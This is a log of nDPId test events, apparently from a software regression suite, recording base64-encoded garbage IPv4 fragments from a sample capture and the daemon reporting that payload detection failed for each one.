+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603044,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603251,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603468,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 